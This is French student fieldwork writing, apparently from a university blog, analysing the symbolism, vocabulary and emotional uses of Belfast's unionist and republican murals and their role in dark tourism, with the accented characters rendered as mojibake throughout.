A la��A�chelle gA�ographique da��une ville qui na��est pas plus grande que GenA?ve, ces logiques da��hyperculturalisation peuvent en effet A?tre trA?s marquA�es: on identifierait un protestant ou un catholique A� travers son style vestimentaire, sa faA�on de sa��exprimer, son lieu de rA�sidence. Nous retrouvons ces aspects de diffA�renciation que ce soit dans la��usage de la langue gaA�lique, parlA�e exclusivement par des communautA�s catholiques, ou mA?me jusque dans les sports pratiquA�s: le football A�tant plus pratiquA� par les catholiques alors que le rugby est plus commun chez les protestants. Notre sujet da��analyse A�tant les murales, nous ne nous attarderons guA?re sur la��exacerbation culturelle dans les comportements sociaux, mais traiterons le sujet A� travers les symboles prA�sent dans la��iconographie des murales. Nous procA�derons en faisant une analyse comparative des logiques da��utilisation symbolique de chacun des partis, tout en illustrant nos propos avec quelques exemples. Par ailleurs, notre grille des symboles (annexe 1) permettra de rA�fA�rencer et de situer les symboles les plus importants afin de ne pas reprendre ces A�lA�ments dans la��analyse.

Tout da��abord, aprA?s avoir analyser les murales photographiA�es lors de nos terrains, nous pouvons distinguer dans les grandes lignes des logiques de mobilisation symboliques, allant sur des axes distincts, selon la��appartenance de la murale au clan unioniste ou rA�publicain.

Chez les unionistes, le registre symbolique est trA?s militarisA�A�etA�rendu historique; ce qui donne aux murales protestantes une dimension politique assez marquA�e. Ce constat se fait tout da��abord par leur composition, souvent rA�gie pour mettre en avant un blason, entourA� da��autres symboles (drapeaux, miniatures de personnages). La position centrale du blason qui incorpore la plupart du temps un drapeau de la��Union Jack, une couronne et la main rouge de la��Ulster (voir tableau en annexe), rappelle la centralitA� du pouvoir monarchique, avec les A�lA�ments qui la��entourent relA�guA�s au second plan, de par leur subordination hiA�rarchique. Dans ce cas, nous sommes face A� une vA�ritable prise de position en faveur de la culture monarchique, exacerbA�e par la mise en place da��une justification A� travers plusieurs symboles unionistes. Des A�lA�ments voulant dA�montrer la force militaire et A�conomique du Royaume-Uni sont A�galement avancA�s dans les murales loyalistes. Autour du blason central, des sujets rA�currents tels que les guerres mondiales, la puissance de la��Empire et la��importance de sa flotte (en grande partie construite dans le port de Belfast) constituent un argumentaire de la force du Royaume-Uni A� la��A�chelle locale et internationale. Ce a�?culte de la��Empirea�? est spA�cifique aux loyalistes qui vont chercher leur appui dans sa grandeur historique et A�conomique, et par des reprA�sentations de la matA�rialitA� de cette grandeur : bateaux, avions, troupes, bA?timents etc.. Cette matA�rialitA� de la force se retrouve dans les murales loyalistes reprA�sentant des milices de dA�fense armA�es, avec la plupart du temps un personnage cagoulA� brandissant une arme A� feu. Dans ce genre de murales, nous restons dans une logique da��explicitation de la force da��attaque, sa��illustrant A� travers la menace des symboles da��un a�?gunmana�? et de son arme pointA�e.

La reprA�sentation de personnages historiques, da��A�vA?nements marquants ou de monuments symboliques est A�galement frA�quente dans les fresques protestantes. Nous les voyons par exemple dans des murales dA�diA�es A� Oliver Cromwell (figure politique de la 1A?re rA�volution anglaise), de la bataille de la Somme, etca�� Les nombreuses allusions et commA�morations de ces personnages et A�vA?nements traduisent le dA�sir de sa��approprier et da��utiliser les faits du passA� pour justifier une cause prA�sente. Il y a alors une rA�interprA�tation et une manipulation de la��hA�ritage culturel et historique pour le mobiliser dans un contexte ou cet hA�ritage participera A� la distinction entre protestants et catholiques.

Du cA?tA� rA�publicain, l’exacerbation de la culture est A�galement trA?s marquA�e. Le registre symbolique rA�publicain est pourtant assez diffA�rent de celui des loyalistes et est fortement alimentA� par la��hA�ritage culturel gaA�lique et irlandais. La composition est trA?s rarement centrA�e sur un A�lA�ment en particulier, mais en favorise la��intA�gration de plusieurs. La grande mobilisation de symboles mythologiques montre le dA�sir des rA�publicains de se justifier A� travers la��anciennetA� de leurs racines, qui irait au delA� mA?me de la��A?re chrA�tienne. Harpes, divers tribaux irlandais, trA?fles et spirales servent A� la fois da��ornementation, et A� la fois de rappel de la��appartenance A� une culture ancestrale, plus pacifique et finalement moins politisA�e que la symbolique protestante. La��aspect plus colorA� et moins graphique des murales rA�publicaines sa��oppose au conformisme des murales protestantes, plus froides et directes et rappelant vaguement une iconographie qui se rapprocherait de propagandes fascistes et communistes. Le choix des couleurs na��est pas anodin : le vert rappelle dA�jA� la��Irlande, mais ca��est aussi le symbole de la paix et de la��espoir, en opposition avec le rouge plus violent utilisA� par les loyalistes. La��argument avancA� par les rA�publicains est le folklore inhA�rent A� la culture irlandaise, qui de par son caractA?re sympathique, peut A?tre interprA�tA� comme la��opposA� du cA?tA� menaA�ant de certaines murales loyalistes. Un aspect rA�current dans les murales rA�publicaines est la reprA�sentation de la rA�sistance, qui peut A?tre soit symbolisA�e par un phA�nix A�mergeant de ses cendres, soit par un paramilitaire non cagoulA� pointant son arme vers le ciel da��une pose dynamique. Nous remarquons ici que la��exacerbation de la solidaritA� A� travers la��adversitA�, de la bravoure et de l’hA�roA?sme est un trait de caractA?re que la communautA� catholique a essayA� de transparaA�tre au travers des murales.

A�Affiliation a des conflits A�trangers

Il est difficile de connaA�tre la part de vA�ritA� que les rA�cits des deux partis contiennent. Les conflits, nous la��avons compris, perdurent encore aujourda��hui. Leur A�tendue a da��ailleurs permit A� plusieurs gA�nA�rations belfastoises de vivre ce conflit. NA�anmoins il est A�vident que les gA�nA�rations actuelles ont des opinions diffA�rentes de celles des gA�nA�rations prA�cA�dentes. Il en est de mA?me pour la visibilitA� extA�rieure de la��histoire des troubles, celle ci a A�voluA� de maniA?re croissante depuis leurs dA�buts. Aujourda��hui, la population intA�ressA�e par les murales et par la��histoire de Belfast possA?de de nombreux moyens da��accA�der aux informations dA�sirA�es en comparaison avec la pA�riode durant laquelle les conflits ont dA�butA�, ca��est A� dire durant les annA�es 1920.

PrA�cA�demment, nous avons dA�taillA� la maniA?re avec laquelle les deux partis revendiquent au public extA�rieur leur culture, A� savoir par exemple, la culture celtique pour les nationalistes et la culture anglaise pour les loyalistes. Mais la��on ne trouve pas ces symboles culturels sur la totalitA� des murals. En effet, avec la��augmentation de la visibilitA�, ca��est A� dire la��exposition des faits des conflits au reste du monde, les partis ont du dA�velopper un ensemble da��arguments plus vaste que leurs arguments culturels. Nous allons donc voir dans cette partie les moyens visuels mis en oeuvre par les partis afin de rallier leur cause A� da��autres conflits internationaux. Autrement dit, comment les deux partis dA�fendent leur cause et leur opinion grA?ce aux illustrations des murals en puisant dans le contexte historique international. Cet effet ayant pour but de maximiser le soutien international.

En commenA�ant par le parti rA�publicain, on remarque que celui ci compare sa position avec la position da��autres groupes plus ou moins analogues ayant comme point commun le caractA?re minoritaire rA�primA� ou la��appartenance A� un peuple ne pouvant pas disposer de lui mA?me et tyrannisA�. Le parti est solidaire de beaucoup de minoritA�s injustement opprimA�es ou discriminA�es pour leurs opinions, leur appartenance ou leur sexualitA�. Les causes reviennent aux oppressions des homosexuels jusqua��A� la��oppression du peuple cubain. Nous pouvons notamment voir sur le mural A�ci dessous, qua��un dA�saccord est A�clairement exprimA� avec la politique da��Obama vis A� vis du peuple cubain. Le parti sa��engage A�galement A� reprA�senter le conflit territorial des Pays Basques.

Capture da��A�cran 2016-05-23 A� 17.49.54

On trouve ensuite un nombre important de murals nationalistes faisant rA�fA�rence au parti palestinien. Les signes reconnaissables sont ici, le drapeau de la Palestine et ses couleurs, la��utilisation de contenus textuels en calligraphie palestinienne.

Capture da��A�cran 2016-05-23 A� 17.50.06

Les nationalistes soulignent que ce peuple est soumis au joug da��un A�tat illA�gitime ne respectant pas le droit international. Les nationalistes rA�publicains sa��approprient le soutien rA�ciproque des conflit A�trangers, mais aussi se comparent directement A� des personnages internationaux connus et vus par une majoritA� de la population comme exemplaires ou respectables. Par exemple, comme on peut le voir dans la peinture murale reprA�sentant Bobby Sands et Nelson Mandela cA?te A� cA?te.

Capture da��A�cran 2016-05-23 A� 18.00.05

Le message est limpide, Nelson Mandela a combattu un rA�gime politique illA�gitime et violent et a A�tA� emprisonnA�, tout comme Bobby Sands. On peut aussi voir, non loin du lieu oA? plusieurs personnes ont A�tA� tuA�es pendant le Bloody Sunday, une reproduction du Tres de mayo de Goya (ci dessous) pour rappeler les tirs des parachutistes sur des civils, ce qui peut s’apparenter A� une exA�cution sommaire. Cette dA�marche de victimisation est encore plus efficace en utilisant des symboles internationaux et un registre mA�moriel connus de tous.

Capture da��A�cran 2016-05-23 A� 18.00.12

Lorsque la��on observe les murals du parti loyaliste, on trouve une rA�fA�rence frA�quente A� un peuple A�extA�rieur la��aidant A� justifier sa position. Cette rA�fA�rence revient au peuple israA�lien en contexte de conflit israA�lo-palestinien. En effet, le parti loyaliste est en accord avec le fond idA�ologique, la forme de la��A�tat et aussi avec le mode da��action, plus gA�nA�ralement, est da��accord avec la��attitude inflexible de la��A�tat IsraA�l ainsi que sur ses actions militaires envers les terroristes et la population civile. De plus les loyalistes expliquent qua��IsraA�l est le pays le plus prospA?re A�conomiquement de la rA�gion, donc le modA?le qui ressort le plus gagnant de la situation de conflit. Ils mettent ce point de vue en lien avec la situation de la��Irlande du Nord, considA�rant que la rA�gion doit sa rA�ussite da��antan A� son intA�gration dans la Grande-Bretagne.A�Les protestants, eux plutA?t que de prendre une position victimaire, justifient leurs actions violentes en rA�actions aux actes terroristes des unionistes.

Victimisation des partis

Nous faisons la��usage dans cette partie du terme victimisation et de ses dA�rivA�s. Nous entendons par a�?victimisera�? la��acte ou parole visant A� rendre son parti victime aux regards de la population extA�rieure au conflit, ainsi qua��en tant que justification des actions offensives ou dA�fensives envers la��autre camp. Aussi, da��aprA?s la DA�claration des Principes Fondamentaux de Justice Relatifs aux Victimes de la criminalitA� et aux victimes d’abus de pouvoir, lesA�victimes sont dA�finies comme a�?des personnes qui, individuellement ou collectivement, ont subi un prA�judice, notamment une atteinte A� leur intA�gritA� physique ou mentale, une souffrance morale, une perte matA�rielle, ou une atteinte grave A� leurs droits fondamentaux, en raison d’actes A�ou d’omissions qui A�enfreignent A�les A�lois pA�nales en vigueur A�dans A�un A�Etat membre, A�y A�comprisA�celles qui proscrivent les abus criminels de pouvoir.a�?

  • MA�moriel des victimes

IMG_09372222

Le but du mA�morial est de rendre hommage A� des victimes de guerres ou da��A�vA?nements particuliA?rement tragiques. Le mA�morial sert aussi A� commA�morer un A�vA?nement important pour une communautA� en terme de changement A�conomique, politique ou social. Le monument, ou le lieu, mis A� disposition na��est pas simplement un espace ou un objet concret, il contient une dimension abstraite et il est vecteur da��une mA�moire collective. Ainsi, les lieux de mA�moires sont respectA�s par toute personne concernA�e parA�la morale collective, quasiment universelle, liA�e au respect des morts et de ce qui les englobe.

Au travers deA�ces mA�moriaux, on rend hommage A� des victimes et on permet A�galement le deuil collectif de la communautA� concernA�e. La ville de Belfast possA?de un grand nombre de mA�moriauxA�dont la plupart sont situA�s principalement dans les quartiers encore sA�paratistes. Cela sa��explique enA�raisonA�des nombreux conflits intra-muros subis dA?sA�1920 avec le projet da��autonomie de la��Irlande, alorsA�sous la domination de la Grande-Bretagne rA�gisA�par Home Rule. Ca��est A� partir de cette proposition que des tensions entre les rA�publicains nationalistes de Belfast et les loyalistes unionistes dA�butA?rent, prenant de plus en plus da��ampleur et menant A� plusieurs conflits civils, appelA�s troubles, jusque dans les annA�es 1990. Ca��est parce que ces conflits engendrA?rent de nombreux morts que la mise en place de monuments mA�moriaux fut nA�cessaire. NA�anmoins, il semblerait que malgrA� les actes de paix conclusA�entreA�les communautA�s de Belfast, les dissensionsA�perdurent au sein mA?me de ces lieux de mA�moire. En effet, le cas de Belfast est particulier puisqua��on trouve dans la ville des mA�moriaux peints, accompagnA�s de murals colorA�es relatives aux troubles. Sur ces murals on peut apercevoir des visages de personnalitA�s importantes dans les conflits aux cA?tA�s de symboles liA�s aux religions ou aux cultures des deux partis.

On peut considA�rerA�que la rA�alisation da��un monument mA�moriel reprA�sente en quelques sortes une prise de position A� partir du moment oA? la��on rend hommage aux morts da��un seul camp et pas de la��autre. A�On peut donc considA�rer que le spectateur – supposA� neutre – va se placer automatiquement da��un cA?tA� ou de la��autre des deux camps. En ajoutant, comme A� Belfast, des visages et des symboles trA?s dA�taillA�s aux mA�moriaux, la sensibilitA� du spectateur est touchA�e car celui ci va sa��identifier plus facilement aux partisans du mA�morial. Le spectateur est nettement moins A�mu sa��il na��a en face de lui qua��une liste de noms de victimes auxquelles il ne peut se rA�fA�rer. En revanche, il est fort probable qu’un touriste, pA?re de famille, voyant en face de luiA�se dresser une peinture murale reprA�sentant des enfants expliquantA�que ces derniersA�furentA�tuA�s par les forces da��un des deux partis, le pA?reA�va se sentir concernA� et son opinion sur le conflit en sera influencA�e. Il est fort probable que la��image associA�e A� la description favorise cette sensation. Le monument, alors envisagA� comme vecteur da��idA�e pacifiste au premier abord, aurait plutA?t tendance A� faire perdurer la conflictualitA�, da��autant plus sa��il est accompagnA� par une mural renforA�ant le pouvoir da��identification sur leA�spectateur.

Sachant que le dark tourism est trA?s dA�veloppA� dans cette ville, on peut A�mettre la��hypothA?se que les mA�moriaux aux victimes ne sont pas uniquement crA�A�s pour les populations locales et protagonistes du conflit mais qua��elles se dirigent vers les touristes. En effet, il est possible que les murals peintes aux cA?tA�s des mA�moriaux soient mobilisA�es afin de victimiser le parti concernA� envers la��autre et face A� la��opinion internationale. Ainsi, grA?ce A� la dimension sensiblement touchante de la jonction mA�morial-murals, les partis se victimisent et se dA�chargent donc en partie de la responsabilitA� des dommages humains et matA�riels dus aux troubles.

Nous avons donc vu que la justification des actions des partis dans les conflits est prA�sente au travers de symboles dans les murals. Nous avons prA�cA�demment avancA� la��idA�e que les partis cherchent A� rallier les observateurs extA�rieurs aux conflits dans leur camp, en disposant notamment les murals de maniA?re A� toucher le spectateur et A� se placer en tant que victime dans le conflit. Dans cette partie nous expliquerons comment ce mA?me processus de victimisation est prA�sent dans les textes des murals. GrA?ce au plan dA�taillA� du site http://www.belfast-murals.co.uk, un A�chantillon de cinquante murals (vingt cinq murals unionistes et vingt cinq murals loyalistes) fut utilisA� afin da��A�tudier le champ lexical utilisA� dans ces peintures. Nous chercherons A� montrer que les deux partis ne font pas usage des mA?mes mots et que cela traduit deux maniA?res da��expliquer le conflit. Le tableau ci dessous rA�pertorie les rA�sultats de la��analyse de contenu.

content analysisNous pouvons donc observer dans notre A�chantillon grA?ce au tableau plusieurs champs lexicaux ressortant des mots utilisA�s pour reprA�senter les partis unionistes et loyalistes. Ces champs lexicaux sont de trois ordres : la lutte, les rA�fA�rences territoriales et communautaires et le post-conflictualisme.

  • Analyse du champs lexical de la lutte :

Le tableau prA�cA�dent montreA�que le parti loyaliste utilise plus de mots liA�s A� la lutte que le parti nationaliste. Le mot militantsA�est visible sur environ vingt pour cent des murals loyalistes (da��aprA?s notre A�chantillon de vingt cinq murals) tandis que le mot le plus frA�quemment utilisA� pour les rA�publicains est resistance. Ces deux mots ne sont pas en opposition mais ne se dA�finissent pas de la mA?me maniA?re; ainsi da��aprA?s la dA�finition anglaise du site Merriam Webster, militant signifie A� having or showing A�a A�desire A�or A�A�willingness A�A�to A�use A�A�strong, A�A�extreme, A�A�A�and A�A�A�A�A�sometimes forceful methods to achieve somethingA�A? (Simple dA�finition of militants [en ligne] http://www.merriam-webster.com/dictionary/militant) Ce mot est donc synonyme en anglais da��action politique ou idA�ologique violente. En ce qui concerne le mot resistance, toujours da��aprA?s la mA?me source, la dA�finition est la suivante : A�refusal to accept something new or different A� ou A�effort made to stop or to fight against someone or something A�A? (Simple dA�finition of resistance [en ligne] http://www.merriam-webster.com/dictionary/resistance). Autrement dit, la��acte de rA�sistance na��inclue pas nA�cessairement un acte violent.

En tenant compte des autres mots utilisA�s par le parti loyaliste tels que guns, attacked, conflict on rA�aliseA�la diffA�rente vision des troubles par chacun des partis. Pour parler du conflit, le parti loyaliste fait A�plus appel A�A�la dimension brutale et armA�e du conflit. A� l’opposA�, le parti rA�publicain utilise les mots brave, oppression, fall, faisant plutA?t rA�fA�rence A� un champ lexical de la survie. Les rA�publicains se dA�crivent donc plus comme A�tant en position dominA�e ou alors en position de subsistance face A� une force supA�rieure politique opposA�e et offensive. A�

  • Analyse du champs lexical post-conflictualiste:

En ce qui concerne la dimension post-conflictualiste, les murals des deux camps font une utilisation commune de mots tel que freedom. La��usage de ce mot (libertA�) pourrait faire rA�fA�rence A� la��ultime but vers lequel tend la ville de Belfast. La diffA�rence da��usage du mot par les deux partis rA�side ici dans les extensions employA�es. En effet, freedom est utilisA� sous diffA�rentes dA�rivA�es par le parti nationaliste rA�publicain, on peut donc lire dans les quartiers rA�publicains les termes free, free union ou encore liberation A� plusieurs localisations.

Le deuxiA?me mot le plus utilisA� par le parti loyaliste unioniste est murder, alors que celui na��est visible qua��une seule fois de la��autre cA?tA� du conflit. Nous pouvons noter A�galement que la devise du parti loyaliste : A� no surrender A� apparait deux fois parmi notre A�chantillon. Ce slogan est A�A�contre-sensA�de la��idA�ologie pacifiste puisque qua��elle se traduit par A� ne pas renoncer A�. Elle est depuis longtemps utilisA�e par le parti, qui considA?re que les conflits na��auront de fin que lorsque la��autre camp aura cA�dA�, autrement dit, le parti pour la gouvernance anglaise exprime son mA�contentement envers la��idA�e de trouver un terrain da��entente mettant fin aux tensions.

Les deux partis font enfin rA�fA�rence aux victimes et aux combattants ayant servit leur communautA�. La��usage de murder est frA�quent pour les loyalistes tandis qua��il na��apparaA�t qua��une fois chez les nationalistes. Enfin, on peut noter le terme martyrs utilisA� par les nationalistes, impliquant directement la souffrance notamment da��aprA?s le dictionnaire anglais Merriam Webster A�a�?a person who is killed or who suffers greatly for a religion, cause, etc..a�? (simple definition of martyr [en ligne] http://www.merriam-webster.com/dictionary/martyr)

Plus largement, il est remarquable que les partis anglais voient en la situation post-conflit un espoir de victoire progressive sur le camp opposA�. A l’inverse, le vocabulaire utilisA� par les nationalistes, pourrait indiquer que ceux ci revendiquent une plus forte volontA� de paix. De plus, ces derniers font un usage frA�quent de mots relatifs au martyre et A� une position, encore, de victimes premiA?res de ces troubles.

  • Analyse du champs lexical de territorialitA� et de communautarisme:

Ce champ lexical est peu reprA�sentA� comparA� aux deux autres ressortis de la��A�tude, nA�anmoins on peut remarquer deux niveaux da��appartenance des partis.

Le parti rA�publicains nationaliste A� tendanceA�A� valoriser les origines celtiques et irlandaises tandis que le parti loyaliste lA�gitime directement sa prA�sence en Ireland du Nord de part la��appropriation des toponymes Ulster, North Belfast. Ce parti loyaliste se considA?re A�galement comme une A�quipe (team) alors que la��on retrouve plutA?t la��idA�e de communautA� du cA?tA� des nationalistes. Enfin, on peut remarquer au sein de notre A�chantillon une diffA�rence da��A�chelle lorsqua��il sa��agit des protagonistes du conflits. En effet nous pouvons trouver dans les murals loyalistes le terme royalty, menant directement au sommet de la gouvernance recherchA�e, alors que les nationalistes emploient le terme civil A� deux reprises. La volontA� de reprA�senter les populations concernA�es dans le conflit est donc diffA�rente selon les partis, la vision est soit micro, soit macro.

A la suite de cette analyse de contenu, nousA�distinguons deux mentalitA�s. En effet, nous avons observA� que les partis na��A�valuent pas de la mA?me maniA?re leur rA?le dans le conflit. Quand les loyalistes prA?nent la puissance de leurs armA�es et troupes militantes qui ne renonceront jamais A� la lutte, les nationalistes, A� la��opposA�, na��A�voquent pratiquement pas leurs actions violentes dans le conflit. Au contraire, aprA?s cette analyse nous pouvons remarquer que ceux ci ont tendance A� A�voquer leurs forces de rA�sistances et donc intrinsA?quement, leur statut de victime en recherche de processus de paix. Quant au registre de justification, l’analyse de contenu dA�montre queA�les anglais loyalistes justifient leurs actions en faisant rA�fA�rence textuellement A� leur connaissance du territoire nord-irlandais afin de prouver leur prA�sence ancienne et comme A� logique A� sur ce territoire. Ainsi, ils lA�gitiment les troubles et assument la dA�fense da��un territoire qua��ils considA?rent acquis. En parallA?le, les irlandais rA�publicains remontent jusqua��aux origines celtiques pour revendiquer leur appartenance A� un peuple irlandais avant mA?me la��existence dune population anglo-irlandaise.

Symboles les plus prA�sents
Symboles les plus prA�sents

cliquer pour agrandir le tableau

MA�thode utilisA�e :

Afin de rA�aliser au mieux notre enquA?te nous avons eu besoin da��obtenir de la��information formelle et de la��information informelle; mais principalement da��informations qualitatives. Nous avons A�galement optA� pour une approche interprA�tative, ca��est A� dire da��A�tudier les sources A� notre disposition afin de comprendre la culture en question.

Continuer la lecture de Des symboles pour se justifier

Belfast: murals, A�motions et processus de paix

CA�cile Walder, Celeste Tran, Chantal Vetter

ProblA�matique

Notre travail portera sur les A�motions que suscitent les murals chez leurs spectateurs, les Belfastois comme les touristes. Nous nous interrogerons plus particuliA?rement sur le(s) rA?le(s) donnA�(s) A� ces A�motions dans le processus de paix.

Ces murals ont A�tA� peints dans un contexte extrA?mement tendu, avec pour but da��intimider, de marquer le territoire, de commA�morer, en suscitant des A�motions chez les spectateurs (Crowley: 2011). Aujourda��hui, A� la suite du processus de paix entamA� dans les annA�es 90, le tourisme se dA�veloppe dans la ville, notamment autour de la��hA�ritage du conflit. Nous souhaitons observer la faA�on dont les A�motions des spectateurs sont mobilisA�es, voire instrumentalisA�es dans ce nouveau contexte, en prenant en compte da��une part la��apparition de nouveaux spectateurs, les touristes, et da��autre part les souvenirs que les habitants ont des Troubles et des A�vA?nements historiques de la��Irlande du Nord.

Notre question de recherche peut A?tre formulA�e de la faA�on suivante:

Comment les A�motions que provoquent les murals de Belfast auprA?s des spectateurs – Belfastois et touristes – sont-elles mobilisA�es dans le contexte du processus de paix?

MA�thodologie

Pour la mA�thode, nous avons adoptA� diffA�rentes approches, in primis la��entretien orientA� sous forme de micro-trottoir et la��analyse de discours.

Pour A�la rA�colte des donnA�es, le micro-trottoir a A�tA� choisi car il est rapide et permet ainsi da��approcher un grand nombre de personnes en peu de temps. Une liste de mots a A�tA� conA�ue pour faciliter les rA�ponses des interviewA�s. A�Ca��est une liste contenant une multitude de mots exprimant des sentiments. Les personnes ont dA� entourer les sentiments qua��elles ont A�prouvA�s face au mural. Cette mA�thode a permis de suggA�rer des sentiments, dont la nomination na��est pas forcA�ment facile. Cependant, il y a le risque da��induire un biais, A�tant donnA� que nous avons constituA� nous-mA?mes cette liste de mots. Afin de minimiser ce risque, nous avons mis un maximum da��A�motions, qui na��A�taient pas forcA�ment, A� notre avis, en lien avec les murals A�tudiA�s, et avons ajoutA� un espace blanc, oA? les personnes avaient la possibilitA� da��ajouter des sentiments manquants. Cette liste nous a permis A�galement de rapidement constater si les mA?mes A�motions avaient A�tA� sollicitA�es ou non.

Questionnaire
Liste de mots

Sur le terrain, nous avons dA�cidA� de nous concentrer sur une fresque seulement, celle de Bobby Sands. Les raisons de ce choix sont multiples: avant tout, il sa��agit da��un mural reprA�sentant un personnage emblA�matique de ce conflit. Il relA?ve donc da��une grande importance au sein de la��histoire belfastoise. Le fait que ce mural soit une attraction touristique connue A�tait un avantage car le lieu A�tait ainsi trA?s frA�quentA�. Il se trouve dans une rue de passage, fait qui a A�tA� A� la fois un dA�savantage puisque les gens avaient moins tendance A� sa��arrA?ter et A� mettre A� notre disposition leur temps, et A� la fois un avantage, puisque cela augmente le nombre des individus qui pouvaient A?tre interviewA�s. Les Belfastois A�tant ouverts A� la discussion, nous avons prA�parA� des questions complA�mentaires au micro-trottoir, afin da��approfondir les premiA?res pistes de rA�flexion que nous avions pu identifier. De cette maniA?re, nous avons pu les ajuster en fonction du contexte et diriger les rA�ponses en essayant da��en relever des A�lA�ments plus pertinents A� la nouvelle problA�matique.

Pour la rA�daction finale de notre travail, nous avons tout da��abord informatisA� les donnA�es rA�coltA�es afin da��en faciliter la lecture et la��analyse et nous aider A� en avoir une vision globale. Ensuite, nous avons utilisA� nos carnets de terrain. Les discussions avec les Belfastois ont enrichi les connaissances que nous avons pu acquA�rir lors des visites et des confA�rences auxquelles nous avons participA�. Nous nous sommes A�galement aidA�es des debriefings faits avec les autres A�tudiants qui avaient eux aussi des ressentis A� exprimer. Ces discussions nous ont permis de prendre en compte un maximum da��idA�es en rapport A� la problA�matique. Elles ont aussi crA�A� un cadre da��A�change mutuel de nos impressions, de nos doutes, etc.

Une approche des A�motions avec le mural de Bobby Sands

Les murals de Belfast ont plusieurs rA?les qui sont aujourda��hui rA�A�tudiA�s en raison de la campagne re-imaging Belfast. En effet, depuis le Good Friday Agreement de 1998, les autoritA�s essaient da��amA�liorer la��image de la ville. En ce qui concerne les murals, plusieurs ont A�tA� enlevA�s ou remplacA�s car ils reprA�sentaient des sujets violents ou des groupes paramilitaires illA�gaux. Or le tourisme profite de la��histoire des murals dans ses activitA�s et ce sont surtout les murals en lien direct avec le conflit qui sont intA�ressants pour les acteurs touristiques. Le rA?le des murals a donc changA� au cours du temps. Etant tout da��abord des marqueurs territoriaux et des appels au soutien de la communautA�, les murals ont aussi servi aux campagnes A�lectorales du Sinn FA�in en transmettant un message idA�ologique. Aujourda��hui, certains rappellent aussi des A�vA?nements historiques. A� If there is a significant historical moment to be recalled, or an important ideological message sent, a memory that needs to be fostered, information that has to be shared, a death that has to be commemorated, a cause that needs to be fought for a�� somewhere or other it will find expression on a wall, making an intervention in public space, demanding attention. A�A� (Crowley : 2011). Les murals ne sont pas lA� pour les touristes, mais avant tout pour la population locale. Ca��est lA� que les A�motions entrent en jeu : elles vont donner de la force aux images, leur donner un certain pouvoir. Lors de notre travail sur le terrain, nous avons identifiA� plusieurs rA?les dans lesquels les A�motions A�voquA�es par les murals sont importantes, que ce soit dans le tourisme ou dans les reprA�sentations qu’en a la collectivitA�. Notre recherche sur le terrain nous a montrA� que mA?me dans le contexte actuel de processus de paix, les murals suscitent encore des A�motions.

Lors de nos moments passA�s sur le terrain, nous nous sommes focalisA�es sur une peinture en particulier pour mener nos micros-trottoirs, celle de Bobby Sands. Ca��est un portrait du personnage souriant, entourA� de couleurs vives et de chaA�nes se brisant, portant le message a�?Everyone republican or otherwise has their own particular role to play a�� Our revenge will be the laugh of our childrena�?. Il se trouve sur Falls road et est peint sur la faA�ade de la��office du Sinn FA�in (parti politique rA�publicain, ayant eu des liens avec la��IRA). La figure de Bobby Sands est un des symboles fort de la lutte rA�publicaine. Il A�tait activiste et membre de la��IRA et est mort en prison aprA?s 66 jours de grA?ve de la faim. Pendant ses deux sA�jours en prison (entre 1972 et 1981) il sa��est mobilisA� pour protester contre le changement de statut des prisonniers politiques, qui, dA?s 1976, sont devenus des prisonniers de droit commun, et donc traitA�s de la mA?me faA�on que les criminels et dA�linquants. Avant de mourir, il sa��A�tait prA�sentA� pour A?tre A�lu membre du parlement et gagna les A�lections. Cependant, le gouvernement refusa de le laisser entrer en fonction (en raison de son statut de prisonnier).

Mural en mA�moire de Bobby Sands - Falls Road - 01.03.2016 - CA�cile Walder
Mural en mA�moire de Bobby Sands – Falls Road – 01.03.2016 – CA�cile Walder

Une premiA?re partie de ce travail sa��intA�ressera donc A� la mise en tourisme des murals et leur utilitA� A�conomique alors que la deuxiA?me partie se focalisera sur les murals en tant que biens communautaires et oeuvres collectives. Chaque partie sa��articule autour da��une mise en contexte et da��illustration et nous tenterons de faire des liens avec les donnA�es rA�coltA�es sur le terrain.

Tourisme des A�motions : enjeux autour des murals

Capitalisation des A�motions : les murals pris dans les rouages du dark tourism

Belfast voit arriver chaque annA�e plus de 9 millions de visiteursA�[1] et la ville investit beaucoup pour augmenter son attractivitA�. En 2012, les touristes ont dA�pensA� 416 millions de livres sterling [2] A� Belfast. GrA?ce A� la pacification, le secteur du A�tourisme est donc A� nouveau devenu une vA�ritable source de revenu pour la��A�conomie locale. Pour les chauffeurs de Black cabs, da��anciens prisonniers rA�publicains, ou encore les guides du Andy Tyrie Interpretative Centre, ca��est une rA�insertion professionnelle tout comme une faA�on de transmettre leur vision du conflit. La mise en avant de certains murals est une possibilitA� de rendre la ville A� nouveau plus attractive. Le mural de Bobby Sands, sur lequel portait notre questionnaire, est le mural le plus reproduit et marchandisA�.

Carte postale de Bobby Sands et Plan de Belfast et de ses murals, Chantal Vetter, 5.5.2016, GenA?ve
Carte postale de Bobby Sands et Plan de Belfast et de ses murals, Chantal Vetter, 5.5.2016, GenA?ve

Les murals font partie de la culture belfastoise mais ils sont de plus en plus instrumentalisA�s par les acteurs touristiques. A� Now figured as heritage and commodified in various forms a�� postcards, posters, books and guided taxi tours – the murals have become a source of revenue and profit for a number of organisations: ex-prisonersa�� associations, artistsa�� collectives, local community groups, and traditional commercial projects. A�A� (Crowley : 2011). Le mural de la��Easter Rising de 1916 A� Falls en est un bon exemple. Suite A� la discussion que nous avons eue avec le fils du propriA�taire du magasin de souvenirs sur lequel est peint le mural, nous avons compris qua��ils espA�raient attirer des touristes dans le quartier, notamment en vue du centenaire de la��Easter rising qui approchait. La raison da��A?tre principale du mural, sous prA�texte du centenaire, est aussi de nature lucrative. Le mural ayant un certain coA�t, il peut A?tre vu comme un investissement pour le prA�sent et le futur.

Mural en mA�moire de l'Easter rising - Falls Road - 03.03.2016 - CA�cile Walder
Mural en mA�moire de l’Easter rising – Falls Road – 03.03.2016 – CA�cile Walder

Les murals jouent ainsi de plus en plus un rA?le A�conomique. Ils sont inclus dans de nombreuses visites touristiques, en premier lieu les black cabs, mais les guides des Open bus city tours y font aussi rA�fA�rence. Une industrie du dark tourism sa��est dA�veloppA�e, oA? la��intA�rA?t est historique, mais A�galement sensationnel. On sa��intA�resse aux A�vA�nements douloureux des Troubles, et cette industrie joue beaucoup avec le thA?me de notre travail: les A�motions.

Le dark tourism est dA�fini par Fabrice Folio comme A�tant a�?une forme de visites associA�es A� la��affliction, aux tragA�dies et A� la dA�tresse sociale et A�conomiquea�? (Folio : 2015). Cette forme de tourisme est fondA�e sur le sensationnel et les A�motions fortes. Ca��est un processus qui capitalise les A�motions et en fait une source de revenu. Le fait, par exemple, que les guides touristiques soient des personnes qui ont vA�cu de prA?s le conflit rend la��expA�rience touristique plus a�?vraiea�? et a�?authentiquea�?.

